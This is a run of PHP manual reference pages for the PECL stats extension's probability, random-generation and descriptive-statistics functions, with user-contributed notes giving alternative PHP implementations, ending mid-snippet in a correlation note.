  • PHP Manual
  • Statistic 函数
  • Probability density function of the F distribution

stats_dens_f

(PECL stats >= 1.0.0)

stats_dens_f — Probability density function of the F distribution

说明

stats_dens_f(float $x, float $dfr1, float $dfr2): float

Returns the probability density at x, where the random variable follows the F distribution of which the degree of freedoms are dfr1 and dfr2.

参数

x

The value at which the probability density is calculated

dfr1

The degree of freedom of the distribution

dfr2

The degree of freedom of the distribution

返回值

The probability density at x or false for failure.

User Contributed Notes

There are no user contributed notes for this page.


Probability density function of the gamma distribution

  • ? stats_dens_f
  • stats_dens_laplace ?
  • PHP Manual
  • Statistic 函数
  • Probability density function of the gamma distribution

stats_dens_gamma

(PECL stats >= 1.0.0)

stats_dens_gamma — Probability density function of the gamma distribution

说明

stats_dens_gamma(float $x, float $shape, float $scale): float

Returns the probability density at x, where the random variable follows the gamma distribution of which the shape parameter is shape and the scale parameter is scale.

参数

x

The value at which the probability density is calculated

shape

The shape parameter of the distribution

scale

The scale parameter of the distribution

返回值

The probability density at x or false for failure.

User Contributed Notes

There are no user contributed notes for this page.


Probability density function of the Laplace distribution

  • ? stats_dens_gamma
  • stats_dens_logistic ?
  • PHP Manual
  • Statistic 函数
  • Probability density function of the Laplace distribution

stats_dens_laplace

(PECL stats >= 1.0.0)

stats_dens_laplace — Probability density function of the Laplace distribution

说明

stats_dens_laplace(float $x, float $ave, float $stdev): float

Returns the probability density at x, where the random variable follows the Laplace distribution of which the location parameter is ave and the scale parameter is stdev.

参数

x

The value at which the probability density is calculated

ave

The location parameter of the distribution

stdev

The shape parameter of the distribution

返回值

The probability density at x or false for failure.

User Contributed Notes

There are no user contributed notes for this page.


Probability density function of the logistic distribution

  • ? stats_dens_laplace
  • stats_dens_normal ?
  • PHP Manual
  • Statistic 函数
  • Probability density function of the logistic distribution

stats_dens_logistic

(PECL stats >= 1.0.0)

stats_dens_logistic — Probability density function of the logistic distribution

说明

stats_dens_logistic(float $x, float $ave, float $stdev): float

Returns the probability density at x, where the random variable follows the logistic distribution of which the location parameter is ave and the scale parameter is stdev.

参数

x

The value at which the probability density is calculated

ave

The location parameter of the distribution

stdev

The shape parameter of the distribution

返回值

The probability density at x or false for failure.

User Contributed Notes

There are no user contributed notes for this page.


Probability density function of the normal distribution

  • ? stats_dens_logistic
  • stats_dens_pmf_binomial ?
  • PHP Manual
  • Statistic 函数
  • Probability density function of the normal distribution

stats_dens_normal

(PECL stats >= 1.0.0)

stats_dens_normal — Probability density function of the normal distribution

说明

stats_dens_normal(float $x, float $ave, float $stdev): float

Returns the probability density at x, where the random variable follows the normal distribution of which the mean is ave and the standard deviation is stdev.

参数

x

The value at which the probability density is calculated

ave

The mean of the distribution

stdev

The standard deviation of the distribution

返回值

The probability density at x or false for failure.

User Contributed Notes

Hector 13-Jun-2019 01:13
This functions will be the equivalent for "DISTR.NORM.N" on excel, like an other user said it's for Gaussian normal distribution.

$x as value to analyze
$ave as average
$stdev as deviation
Anonymous 10-Aug-2009 04:12
There's a way to try it out:

<?php
...
echo"<pre>\n";
for($x=-2;$x<=2;$x+=0.1){
  echo"$i; ".stats_dens_normal($x,1,1)."\n";
}
echo"</pre>\n";
?>

Observe the result (to determine yourself), or
save it as "stats_dens_normal.csv",
load it into Open Office and make a graph of it
Anonymous 28-Feb-2009 02:37
I'm not certain that I've figured this one out correctly but it should return the value of a (Gaussian) normal distribution of the given properties at the given location.
$x - the X-Value to request
$ave - the 'expected value' (i.e. location of the peak) for the distribution. For most uses this will just be 0.
$stdev - the standard deviation of the distribution. For most uses this will be 1.


Probability mass function of the binomial distribution

  • ? stats_dens_normal
  • stats_dens_pmf_hypergeometric ?
  • PHP Manual
  • Statistic 函数
  • Probability mass function of the binomial distribution

stats_dens_pmf_binomial

(PECL stats >= 1.0.0)

stats_dens_pmf_binomial — Probability mass function of the binomial distribution

说明

stats_dens_pmf_binomial(float $x, float $n, float $pi): float

Returns the probability mass at x, where the random variable follows the binomial distribution of which the number of trials is n and the success rate is pi.

参数

x

The value at which the probability mass is calculated

n

The number of trials of the distribution

pi

The success rate of the distribution

返回值

The probability mass at x or false for failure.

User Contributed Notes

There are no user contributed notes for this page.


Probability mass function of the hypergeometric distribution

  • ? stats_dens_pmf_binomial
  • stats_dens_pmf_negative_binomial ?
  • PHP Manual
  • Statistic 函数
  • Probability mass function of the hypergeometric distribution

stats_dens_pmf_hypergeometric

(PECL stats >= 1.0.0)

stats_dens_pmf_hypergeometric — Probability mass function of the hypergeometric distribution

说明

stats_dens_pmf_hypergeometric(
float $n1,
float $n2,
float $N1,
float $N2
): float

Returns the probability mass at n1, where the random variable follows the hypergeometric distribution of which the number of failure is n2, the number of success samples is N1, and the number of failure samples is N2.

参数

n1

The number of success, at which the probability mass is calculated

n2

The number of failure of the distribution

N1

The number of success samples of the distribution

N2

The number of failure samples of the distribution

返回值

The probability mass at n1 or false for failure.

User Contributed Notes

brendan at gamblingtec dot com 19-Jun-2019 01:11
You can use this method to work out lottery odds:

/**
* N is the population size OR total balls in the lottery draw
* K is the number of success states in the population OR the number of correct balls drawn from the pool
* n is the number of draws OR the number of times we draw from the pool to get the winning numbers.
*/

$N = 49; //Total balls in the pool
$K = 1; //Successful matches to win

$method = new Hypergeometric($N, $K, $K);
$odds = $method->pmf($K);

return 1/$odds;

//Will return 49


Probability mass function of the negative binomial distribution

  • ? stats_dens_pmf_hypergeometric
  • stats_dens_pmf_poisson ?
  • PHP Manual
  • Statistic 函数
  • Probability mass function of the negative binomial distribution

stats_dens_pmf_negative_binomial

(PECL stats >= 1.0.0)

stats_dens_pmf_negative_binomial — Probability mass function of the negative binomial distribution

说明

stats_dens_pmf_negative_binomial(float $x, float $n, float $pi): float

Returns the probability mass at x, where the random variable follows the negative binomial distribution of which the number of the success is n and the success rate is pi.

参数

x

The value at which the probability mass is calculated

n

The number of the success of the distribution

pi

The success rate of the distribution

返回值

The probability mass at x or false for failure.

User Contributed Notes

There are no user contributed notes for this page.


Probability mass function of the Poisson distribution

  • ? stats_dens_pmf_negative_binomial
  • stats_dens_t ?
  • PHP Manual
  • Statistic 函数
  • Probability mass function of the Poisson distribution

stats_dens_pmf_poisson

(PECL stats >= 1.0.0)

stats_dens_pmf_poisson — Probability mass function of the Poisson distribution

说明

stats_dens_pmf_poisson(float $x, float $lb): float

Returns the probability mass at x, where the random variable follows the Poisson distribution whose parameter is lb.

参数

x

The value at which the probability mass is calculated

lb

The parameter of the Poisson distribution

返回值

The probability mass at x or false for failure.

User Contributed Notes

There are no user contributed notes for this page.


Probability density function of the t-distribution

  • ? stats_dens_pmf_poisson
  • stats_dens_uniform ?
  • PHP Manual
  • Statistic 函数
  • Probability density function of the t-distribution

stats_dens_t

(PECL stats >= 1.0.0)

stats_dens_t — Probability density function of the t-distribution

说明

stats_dens_t(float $x, float $dfr): float

Returns the probability density at x, where the random variable follows the t-distribution of which the degree of freedom is dfr.

参数

x

The value at which the probability density is calculated

dfr

The degree of freedom of the distribution

返回值

The probability density at x or false for failure.

User Contributed Notes

Anonymous 28-Feb-2009 02:12
This function returns the value of a student-T-distribution with the total area of 1.
$dfr are the degrees of freedom for that distribution (aka k)
$x is the X-Value for which the value should be returned


Probability density function of the uniform distribution

  • ? stats_dens_t
  • stats_dens_weibull ?
  • PHP Manual
  • Statistic 函数
  • Probability density function of the uniform distribution

stats_dens_uniform

(PECL stats >= 1.0.0)

stats_dens_uniform — Probability density function of the uniform distribution

说明

stats_dens_uniform(float $x, float $a, float $b): float

Returns the probability density at x, where the random variable follows the uniform distribution of which the lower bound is a and the upper bound is b.

参数

x

The value at which the probability density is calculated

a

The lower bound of the distribution

b

The upper bound of the distribution

返回值

The probability density at x or false for failure.

User Contributed Notes

There are no user contributed notes for this page.


Probability density function of the Weibull distribution

  • ? stats_dens_uniform
  • stats_harmonic_mean ?
  • PHP Manual
  • Statistic 函数
  • Probability density function of the Weibull distribution

stats_dens_weibull

(PECL stats >= 1.0.0)

stats_dens_weibull — Probability density function of the Weibull distribution

说明

stats_dens_weibull(float $x, float $a, float $b): float

Returns the probability density at x, where the random variable follows the Weibull distribution of which the shape parameter is a and the scale parameter is b.

参数

x

The value at which the probability density is calculated

a

The shape parameter of the distribution

b

The scale parameter of the distribution

返回值

The probability density at x or false for failure.

User Contributed Notes

There are no user contributed notes for this page.


Returns the harmonic mean of an array of values

  • ? stats_dens_weibull
  • stats_kurtosis ?
  • PHP Manual
  • Statistic 函数
  • Returns the harmonic mean of an array of values

stats_harmonic_mean

(PECL stats >= 1.0.0)

stats_harmonic_mean — Returns the harmonic mean of an array of values

说明

stats_harmonic_mean(array $a): number

Returns the harmonic mean of the values in a.

参数

a

The input array

返回值

Returns the harmonic mean of the values in a, or false if a is empty or is not an array.

User Contributed Notes

Daniel Morris (www.danielxmorris.com) 15-Aug-2008 07:51
I wrote this to calculate harmonic averages in my shares program.  Hopefully this can help someone who doesn't want to use PECL.  The function accepts an unlimited number of arguments without the need to place them into an array, which is better than the way the PECL extension handles the function.

<?php

/**
 *  @author    Daniel Morris
*/
function harmonic () {
    $num_args = func_num_args ();
    for ($i = 0; $i < $num_args; $i++) {
        $sum += 1 / func_get_arg ($i);
    }
    return $num_args / $sum;
}

// Tests

echo harmonic (1, 2, 3, 4, 5);
echo harmonic (-1, 3, 4, 10293);
echo harmonic (-1, -2, -3, -4, -5);

//  2.1897810218978
//  -9.6022389365052
//  -2.1897810218978

?>


Computes the kurtosis of the data in the array

  • ? stats_harmonic_mean
  • stats_rand_gen_beta ?
  • PHP Manual
  • Statistic 函数
  • Computes the kurtosis of the data in the array

stats_kurtosis

(PECL stats >= 1.0.0)

stats_kurtosis — Computes the kurtosis of the data in the array

说明

stats_kurtosis(array $a): float

Returns the kurtosis of the values in a.

参数

a

The input array

返回值

Returns the kurtosis of the values in a, or false if a is empty or is not an array.

User Contributed Notes

Angel J. Salinas 12-Dec-2015 09:35
// If you don't have the php_stats library, you can use this function:
public static function getKurtosis( $values )
{
  $numValues = count( $values );
  if ( $numValues == 0 ) {
    return 0.0;
  }

  // Use function from php_stats library if available
  if ( function_exists( 'stats_kurtosis' ) ) {
    return stats_kurtosis( $values );
  }

  $mean = array_sum( $values ) / floatval( $numValues );
  $add2 = 0.0;
  $add4 = 0.0;

  foreach ( $values as $value ) {
    if ( ! is_numeric( $value ) ) {
      return false;
    }
    $dif = $value - $mean;
    $dif2 = $dif * $dif;
    $add2 += $dif2;
    $add4 += ( $dif2 * $dif2 );
  } // foreach values

  $variance = $add2 / floatval( $numValues );
  return ( $add4 * $numValues ) / ( $add2 * $add2 ) - 3.0;
}


Generates a random deviate from the beta distribution

  • ? stats_kurtosis
  • stats_rand_gen_chisquare ?
  • PHP Manual
  • Statistic 函数
  • Generates a random deviate from the beta distribution

stats_rand_gen_beta

(PECL stats >= 1.0.0)

stats_rand_gen_beta — Generates a random deviate from the beta distribution

说明

stats_rand_gen_beta(float $a, float $b): float

Returns a random deviate from the beta distribution with parameters A and B. The density of the beta is x^(a-1) * (1-x)^(b-1) / B(a,b) for 0 < x <. Method R. C. H. Cheng.

参数

a

The shape parameter of the beta distribution

b

The shape parameter of the beta distribution

返回值

A random deviate

User Contributed Notes

There are no user contributed notes for this page.


Generates a random deviate from the chi-square distribution

  • ? stats_rand_gen_beta
  • stats_rand_gen_exponential ?
  • PHP Manual
  • Statistic 函数
  • Generates a random deviate from the chi-square distribution

stats_rand_gen_chisquare

(PECL stats >= 1.0.0)

stats_rand_gen_chisquare — Generates a random deviate from the chi-square distribution

说明

stats_rand_gen_chisquare(float $df): float

Returns a random deviate from the chi-square distribution where the degrees of freedom is df.

参数

df

The degrees of freedom

返回值

A random deviate

User Contributed Notes

There are no user contributed notes for this page.


Generates a random deviate from the exponential distribution

  • ? stats_rand_gen_chisquare
  • stats_rand_gen_f ?
  • PHP Manual
  • Statistic 函数
  • Generates a random deviate from the exponential distribution

stats_rand_gen_exponential

(PECL stats >= 1.0.0)

stats_rand_gen_exponential — Generates a random deviate from the exponential distribution

说明

stats_rand_gen_exponential(float $av): float

Returns a random deviate from the exponential distribution of which the scale is av.

参数

av

The scale parameter

返回值

A random deviate

User Contributed Notes

There are no user contributed notes for this page.


Generates a random deviate from the F distribution

  • ? stats_rand_gen_exponential
  • stats_rand_gen_funiform ?
  • PHP Manual
  • Statistic 函数
  • Generates a random deviate from the F distribution

stats_rand_gen_f

(PECL stats >= 1.0.0)

stats_rand_gen_f — Generates a random deviate from the F distribution

说明

stats_rand_gen_f(float $dfn, float $dfd): float

Generates a random deviate from the F (variance ratio) distribution with "dfn" degrees of freedom in the numerator and "dfd" degrees of freedom in the denominator. Method : directly generates ratio of chisquare variates.

参数

dfn

The degrees of freedom in the numerator

dfd

The degrees of freedom in the denominator

返回值

A random deviate

User Contributed Notes

There are no user contributed notes for this page.


Generates uniform float between low (exclusive) and high (exclusive)

  • ? stats_rand_gen_f
  • stats_rand_gen_gamma ?
  • PHP Manual
  • Statistic 函数
  • Generates uniform float between low (exclusive) and high (exclusive)

stats_rand_gen_funiform

(PECL stats >= 1.0.0)

stats_rand_gen_funiform — Generates uniform float between low (exclusive) and high (exclusive)

说明

stats_rand_gen_funiform(float $low, float $high): float

Returns a random deviate from the uniform distribution from low to high.

参数

low

The lower bound (inclusive)

high

The upper bound (exclusive)

返回值

A random deviate

User Contributed Notes

There are no user contributed notes for this page.


Generates a random deviate from the gamma distribution

  • ? stats_rand_gen_funiform
  • stats_rand_gen_ibinomial_negative ?
  • PHP Manual
  • Statistic 函数
  • Generates a random deviate from the gamma distribution

stats_rand_gen_gamma

(PECL stats >= 1.0.0)

stats_rand_gen_gamma — Generates a random deviate from the gamma distribution

说明

stats_rand_gen_gamma(float $a, float $r): float

Generates a random deviate from the gamma distribution whose density is (A**R)/Gamma(R) * X**(R-1) * Exp(-A*X).

参数

a

location parameter of Gamma distribution (a > 0).

r

shape parameter of Gamma distribution (r > 0).

返回值

A random deviate

User Contributed Notes

There are no user contributed notes for this page.


Generates a random deviate from the negative binomial distribution

  • ? stats_rand_gen_gamma
  • stats_rand_gen_ibinomial ?
  • PHP Manual
  • Statistic 函数
  • Generates a random deviate from the negative binomial distribution

stats_rand_gen_ibinomial_negative

(PECL stats >= 1.0.0)

stats_rand_gen_ibinomial_negative — Generates a random deviate from the negative binomial distribution

说明

stats_rand_gen_ibinomial_negative(int $n, float $p): int

Returns a random deviate from a negative binomial distribution where the number of success is n and the success rate is p.

参数

n

The number of success

p

The success rate

返回值

A random deviate, which is the number of failure.

User Contributed Notes

There are no user contributed notes for this page.


Generates a random deviate from the binomial distribution

  • ? stats_rand_gen_ibinomial_negative
  • stats_rand_gen_int ?
  • PHP Manual
  • Statistic 函数
  • Generates a random deviate from the binomial distribution

stats_rand_gen_ibinomial

(PECL stats >= 1.0.0)

stats_rand_gen_ibinomial — Generates a random deviate from the binomial distribution

说明

stats_rand_gen_ibinomial(int $n, float $pp): int

Returns a random deviate from the binomial distribution whose number of trials is n and whose probability of an event in each trial is pp.

参数

n

The number of trials

pp

The probability of an event in each trial

返回值

A random deviate

User Contributed Notes

There are no user contributed notes for this page.


Generates random integer between 1 and 2147483562

  • ? stats_rand_gen_ibinomial
  • stats_rand_gen_ipoisson ?
  • PHP Manual
  • Statistic 函数
  • Generates random integer between 1 and 2147483562

stats_rand_gen_int

(PECL stats >= 1.0.0)

stats_rand_gen_int — Generates random integer between 1 and 2147483562

说明

stats_rand_gen_int(): int

Returns a random integer between 1 and 2147483562

参数

此函数没有参数。

返回值

A random integer

User Contributed Notes

There are no user contributed notes for this page.


Generates a single random deviate from a Poisson distribution

  • ? stats_rand_gen_int
  • stats_rand_gen_iuniform ?
  • PHP Manual
  • Statistic 函数
  • Generates a single random deviate from a Poisson distribution

stats_rand_gen_ipoisson

(PECL stats >= 1.0.0)

stats_rand_gen_ipoisson — Generates a single random deviate from a Poisson distribution

说明

stats_rand_gen_ipoisson(float $mu): int

Returns a random deviate from the Poisson distribution with parameter mu.

参数

mu

The parameter of the Poisson distribution

返回值

A random deviate

User Contributed Notes

There are no user contributed notes for this page.


Generates integer uniformly distributed between LOW (inclusive) and HIGH (inclusive)

  • ? stats_rand_gen_ipoisson
  • stats_rand_gen_noncentral_chisquare ?
  • PHP Manual
  • Statistic 函数
  • Generates integer uniformly distributed between LOW (inclusive) and HIGH (inclusive)

stats_rand_gen_iuniform

(PECL stats >= 1.0.0)

stats_rand_gen_iuniform — Generates integer uniformly distributed between LOW (inclusive) and HIGH (inclusive)

说明

stats_rand_gen_iuniform(int $low, int $high): int

Returns a random integer from the discrete uniform distribution between low (inclusive) and high (inclusive).

参数

low

The lower bound

high

The upper bound

返回值

A random integer

User Contributed Notes

There are no user contributed notes for this page.


Generates a random deviate from the non-central chi-square distribution

  • ? stats_rand_gen_iuniform
  • stats_rand_gen_noncentral_f ?
  • PHP Manual
  • Statistic 函数
  • Generates a random deviate from the non-central chi-square distribution

stats_rand_gen_noncentral_chisquare

(PECL stats >= 1.0.0)

stats_rand_gen_noncentral_chisquare — Generates a random deviate from the non-central chi-square distribution

说明

stats_rand_gen_noncentral_chisquare(float $df, float $xnonc): float

Returns a random deviate from the non-central chi-square distribution with degrees of freedom, df, and non-centrality parameter, xnonc.

参数

df

The degrees of freedom

xnonc

The non-centrality parameter

返回值

A random deviate

User Contributed Notes

There are no user contributed notes for this page.


Generates a random deviate from the noncentral F distribution

  • ? stats_rand_gen_noncentral_chisquare
  • stats_rand_gen_noncentral_t ?
  • PHP Manual
  • Statistic 函数
  • Generates a random deviate from the noncentral F distribution

stats_rand_gen_noncentral_f

(PECL stats >= 1.0.0)

stats_rand_gen_noncentral_f — Generates a random deviate from the noncentral F distribution

说明

stats_rand_gen_noncentral_f(float $dfn, float $dfd, float $xnonc): float

Returns a random deviate from the non-central F distribution where the degrees of freedoms are dfn (numerator) and dfd (denominator), and the non-centrality parameter is xnonc.

参数

dfn

The degrees of freedom of the numerator

dfd

The degrees of freedom of the denominator

xnonc

The non-centrality parameter

返回值

A random deviate

User Contributed Notes

There are no user contributed notes for this page.


Generates a single random deviate from a non-central t-distribution

  • ? stats_rand_gen_noncentral_f
  • stats_rand_gen_normal ?
  • PHP Manual
  • Statistic 函数
  • Generates a single random deviate from a non-central t-distribution

stats_rand_gen_noncentral_t

(PECL stats >= 1.0.0)

stats_rand_gen_noncentral_t — Generates a single random deviate from a non-central t-distribution

说明

stats_rand_gen_noncentral_t(float $df, float $xnonc): float

Returns a random deviate from the non-central t-distribution with the degrees of freedom, df, and the non-centrality parameter, xnonc.

参数

df

The degrees of freedom

xnonc

The non-centrality parameter

返回值

A random deviate

User Contributed Notes

There are no user contributed notes for this page.


Generates a single random deviate from a normal distribution

  • ? stats_rand_gen_noncentral_t
  • stats_rand_gen_t ?
  • PHP Manual
  • Statistic 函数
  • Generates a single random deviate from a normal distribution

stats_rand_gen_normal

(PECL stats >= 1.0.0)

stats_rand_gen_normal — Generates a single random deviate from a normal distribution

说明

stats_rand_gen_normal(float $av, float $sd): float

Returns a random deviate from the normal distribution with mean, av, and standard deviation, sd.

参数

av

The mean of the normal distribution

sd

The standard deviation of the normal distribution

返回值

A random deviate

User Contributed Notes

KEINOS 31-May-2020 04:33
Alternative of "stats_rand_gen_normal()".

<?php
/**
 * "Box-Muller transform" based random deviate generator.
 *
 * @ref https://en.wikipedia.org/wiki/Box%E2%80%93Muller_transform
 *
 * @param  float|int $av Average/Mean
 * @param  float|int $sd Standard deviation
 * @return float
 */
if (! function_exists('stats_rand_gen_normal')) {
    function stats_rand_gen_normal($av, $sd): float
    {
        $x = mt_rand() / mt_getrandmax();
        $y = mt_rand() / mt_getrandmax();

        return sqrt(-2 * log($x)) * cos(2 * pi() * $y) * $sd + $av;
    }
}
?>


Generates a single random deviate from a t-distribution

  • ? stats_rand_gen_normal
  • stats_rand_get_seeds ?
  • PHP Manual
  • Statistic 函数
  • Generates a single random deviate from a t-distribution

stats_rand_gen_t

(PECL stats >= 1.0.0)

stats_rand_gen_t — Generates a single random deviate from a t-distribution

说明

stats_rand_gen_t(float $df): float

Returns a random deviate from the t-distribution with the degrees of freedom, df.

参数

df

The degrees of freedom

返回值

A random deviate

User Contributed Notes

There are no user contributed notes for this page.


Get the seed values of the random number generator

  • ? stats_rand_gen_t
  • stats_rand_phrase_to_seeds ?
  • PHP Manual
  • Statistic 函数
  • Get the seed values of the random number generator

stats_rand_get_seeds

(PECL stats >= 1.0.0)

stats_rand_get_seeds — Get the seed values of the random number generator

说明

stats_rand_get_seeds(): array

Returns the current seed values of the random number generator

参数

此函数没有参数。

返回值

Returns an array of two integers.

User Contributed Notes

There are no user contributed notes for this page.


Generate two seeds for the RGN random number generator

  • ? stats_rand_get_seeds
  • stats_rand_ranf ?
  • PHP Manual
  • Statistic 函数
  • Generate two seeds for the RGN random number generator

stats_rand_phrase_to_seeds

(PECL stats >= 1.0.0)

stats_rand_phrase_to_seeds — Generate two seeds for the RGN random number generator

说明

stats_rand_phrase_to_seeds(string $phrase): array

Generate two seeds for the random number generator from a phrase.

参数

phrase

The input phrase

返回值

Returns an array of two integers.

User Contributed Notes

There are no user contributed notes for this page.


Generates a random floating point number between 0 and 1

  • ? stats_rand_phrase_to_seeds
  • stats_rand_setall ?
  • PHP Manual
  • Statistic 函数
  • Generates a random floating point number between 0 and 1

stats_rand_ranf

(PECL stats >= 1.0.0)

stats_rand_ranf — Generates a random floating point number between 0 and 1

说明

stats_rand_ranf(): float

Returns a random floating point number from a uniform distribution between 0 (exclusive) and 1 (exclusive).

参数

此函数没有参数。

返回值

A random floating point number

User Contributed Notes

There are no user contributed notes for this page.


Set seed values to the random generator

  • ? stats_rand_ranf
  • stats_skew ?
  • PHP Manual
  • Statistic 函数
  • Set seed values to the random generator

stats_rand_setall

(PECL stats >= 1.0.0)

stats_rand_setall — Set seed values to the random generator

说明

stats_rand_setall(int $iseed1, int $iseed2): void

Set iseed1 and iseed2 as seed values to the random generator used in statistic functions.

参数

iseed1

The value which is used as the random seed

iseed2

The value which is used as the random seed

返回值

No values are returned.

User Contributed Notes

geoffreyj dot lee at gmail dot com 29-Aug-2016 06:37
tl;dr - This random number generator is implemented using linear congruential generators. The arguments iseed1 and iseed2 each expect a 32-bit integer.

I can't believe this PECL package has such terrible documentation that I have to dig into the C source code to figure out how to use it.

Documentation from PECL source, lines 246-262 of "com.c" found at:
http://git.php.net/?p=pecl/math/stats.git;a=blob;f=com.c;h=7740ac636969e500254c61697125dfa8857dd715;hb=refs/heads/master

/*
**********************************************************************
void setall(long iseed1,long iseed2)
          SET ALL random number generators
Sets the initial seed of generator 1 to ISEED1 and ISEED2. The
initial seeds of the other generators are set accordingly, and
all generators states are set to these seeds.
This is a transcription from Pascal to Fortran of routine
Set_Initial_Seed from the paper
L'Ecuyer, P. and Cote, S. "Implementing a Random Number Package
with Splitting Facilities." ACM Transactions on Mathematical
Software, 17:98-111 (1991)
                         Arguments
iseed1 -> First of two integer seeds
iseed2 -> Second of two integer seeds
**********************************************************************
*/

Looking further into the referenced paper, we see:

PROCEDURE Set_lnitiaI_Seed (S1, S2 INTEGER);
Resets the initial seed of generator 1 to the values S1 and S2, which must satisfy: 1 <= S1 <= 2147483562 and 1 <= S2 <= 2147483398. The initial seeds of all other generators are recomputed accordingly, and all generator's states are reset to these initial seeds. This procedure is called automatically at the beginning of program execution, with (default) parameter values S1 = 1234567890 and S2 = 123456789.


Computes the skewness of the data in the array

  • ? stats_rand_setall
  • stats_standard_deviation ?
  • PHP Manual
  • Statistic 函数
  • Computes the skewness of the data in the array

stats_skew

(PECL stats >= 1.0.0)

stats_skew — Computes the skewness of the data in the array

说明

stats_skew(array $a): float

Returns the skewness of the values in a.

参数

a

The input array

返回值

Returns the skewness of the values in a, or false if a is empty or is not an array.

User Contributed Notes

Angel J. Salinas 11-Dec-2015 08:35
If you don't have the php_stats library, you can use this implementation:

  public static function getSkewness( $values )
  {
    $numValues = count( $values );
    if ( $numValues == 0 ) {
      return 0.0;
    }

    // Use function from php_stats library if available
    if ( function_exists( 'stats_skew' ) ) {
      return stats_skew( $values );
    }

    $mean = array_sum( $values ) / floatval( $numValues );

    $add2 = 0.0;
    $add3 = 0.0;
    foreach ( $values as $value ) {
      if ( ! is_numeric( $value ) ) {
        return false;
      }

      $dif = $value - $mean;
      $add2 += ( $dif * $dif );
      $add3 += ( $dif * $dif * $dif );

    } // foreach values

    $variance = $add2 / floatval( $numValues );

    return ( $add3 / floatval( $numValues ) ) / pow( $variance, 3 / 2.0  );
  }


Returns the standard deviation

  • ? stats_skew
  • stats_stat_binomial_coef ?
  • PHP Manual
  • Statistic 函数
  • Returns the standard deviation

stats_standard_deviation

(PECL stats >= 1.0.0)

stats_standard_deviation — Returns the standard deviation

说明

stats_standard_deviation(array $a, bool $sample = false): float

Returns the standard deviation of the values in a.

参数

a

The array of data to find the standard deviation for. Note that all values of the array will be cast to float.

sample

Indicates if a represents a sample of the population; defaults to false.

返回值

Returns the standard deviation on success; false on failure.

错误／异常

Raises an E_WARNING when there are fewer than 2 values in a.

User Contributed Notes

levim at php dot net 24-Feb-2014 05:15
Here's an implementation that adheres to the PECL source quite strictly. This is useful for people who want to use it but don't have the extension, as well as for people who want to understand what is going on.

<?php

if (!function_exists('stats_standard_deviation')) {
    /**
     * This user-land implementation follows the implementation quite strictly;
     * it does not attempt to improve the code or algorithm in any way. It will
     * raise a warning if you have fewer than 2 values in your array, just like
     * the extension does (although as an E_USER_WARNING, not E_WARNING).
     *
     * @param array $a
     * @param bool $sample [optional] Defaults to false
     * @return float|bool The standard deviation or false on error.
     */
    function stats_standard_deviation(array $a, $sample = false) {
        $n = count($a);
        if ($n === 0) {
            trigger_error("The array has zero elements", E_USER_WARNING);
            return false;
        }
        if ($sample && $n === 1) {
            trigger_error("The array has only 1 element", E_USER_WARNING);
            return false;
        }
        $mean = array_sum($a) / $n;
        $carry = 0.0;
        foreach ($a as $val) {
            $d = ((double) $val) - $mean;
            $carry += $d * $d;
        };
        if ($sample) {
           --$n;
        }
        return sqrt($carry / $n);
    }
}

?>
tripollite at gmail dot com 28-Jun-2012 09:58
Function to calculate square of value - mean

<?php
function sd_square($x, $mean) { return pow($x - $mean,2); }
?>

Function to calculate standard deviation (uses sd_square)
<?php
function sd($array) {

// square root of sum of squares devided by N-1
return sqrt(array_sum(array_map("sd_square", $array, array_fill(0,count($array), (array_sum($array) / count($array)) ) ) ) / (count($array)) );
}
?>

works better if you don't add +1 to the count

standard deviation of a constant must be 0 ( http://en.wikipedia.org/wiki/Standard_deviation )

different way :
<?php
class Tmath{
    public static function variance($data, $round = 2)
    {
        if( count($data) == 0 )
            return NULL;
        $total_ecart = 0;
        $moyenne = self::moyenne($data, 10*$round);
        if( $moyenne == 0)
            return 0;
        foreach( $data as $element)
        {
            $total_ecart += pow($element, 2);
        }
        return round($total_ecart/count($data) - pow($moyenne,2),$round);
    }
    public static function ecartType($data, $round = 2)
    {
        return round(sqrt(self::variance($data,10*$round)),2);
    }
    public static function moyenne($data, $round = 2)
    {
        if( count($data) == 0 )
            return NULL;
        return round(array_sum($data)/count($data),$round) ;
    }
}
?>
pmcdougl at gac dot edu 06-Mar-2012 10:40
It should be known that this function also casts all of the values of the array to floats. If you pass an array of integers, they will come out as an array of floats.

$data = array(2,3,3,3,3,2,5);
var_dump($data);
$standardDeviation = stats_standard_deviation($data);
var_dump($data);

Prints:
array
  0 => int 2
  1 => int 3
  2 => int 3
  3 => int 3
  4 => int 3
  5 => int 2
  6 => int 5
array
  0 => float 2
  1 => float 3
  2 => float 3
  3 => float 3
  4 => float 3
  5 => float 5
  6 => float 2
Pascal Woerde 07-Sep-2010 12:04
If you want one function for the population and sample, you can use this function:

<?php

function standard_deviation($aValues, $bSample = false)
{
    $fMean = array_sum($aValues) / count($aValues);
    $fVariance = 0.0;
    foreach ($aValues as $i)
    {
        $fVariance += pow($i - $fMean, 2);
    }
    $fVariance /= ( $bSample ? count($aValues) - 1 : count($aValues) );
    return (float) sqrt($fVariance);
}
Sharon 16-Apr-2010 02:40
If you don't have the stat package you can use these functions:

<?php

// Function to calculate square of value - mean
function sd_square($x, $mean) { return pow($x - $mean,2); }

// Function to calculate standard deviation (uses sd_square)
function sd($array) {

// square root of sum of squares devided by N-1
return sqrt(array_sum(array_map("sd_square", $array, array_fill(0,count($array), (array_sum($array) / count($array)) ) ) ) / (count($array)-1) );
}

 ?>


Returns a binomial coefficient

  • ? stats_standard_deviation
  • stats_stat_correlation ?
  • PHP Manual
  • Statistic 函数
  • Returns a binomial coefficient

stats_stat_binomial_coef

(PECL stats >= 1.0.0)

stats_stat_binomial_coef — Returns a binomial coefficient

说明

stats_stat_binomial_coef(int $x, int $n): float

Returns the binomial coefficient of n choose x.

参数

x

The number of chooses from the set

n

The number of elements in the set

返回值

Returns the binomial coefficient

User Contributed Notes

There are no user contributed notes for this page.


Returns the Pearson correlation coefficient of two data sets

  • ? stats_stat_binomial_coef
  • stats_stat_factorial ?
  • PHP Manual
  • Statistic 函数
  • Returns the Pearson correlation coefficient of two data sets

stats_stat_correlation

(PECL stats >= 1.0.0)

stats_stat_correlation — Returns the Pearson correlation coefficient of two data sets

说明

stats_stat_correlation(array $arr1, array $arr2): float

Returns the Pearson correlation coefficient between arr1 and arr2.

参数

arr1

The first array

arr2

The second array

返回值

Returns the Pearson correlation coefficient between arr1 and arr2, or false on failure.

User Contributed Notes

non at dot com 19-Jan-2015 11:30
undefined for me, thus I've implemented my own correlation which is much faster and simpler than the one provided above.

function Corr($x, $y){

$length= count($x);
$mean1=array_sum($x) / $length;
$mean2=array_sum($y) / $length;

$a=0;
$b=0;
$axb=0;
$a2=0;
$b2=0;

for($i=0;$i<$length;$i++)
{
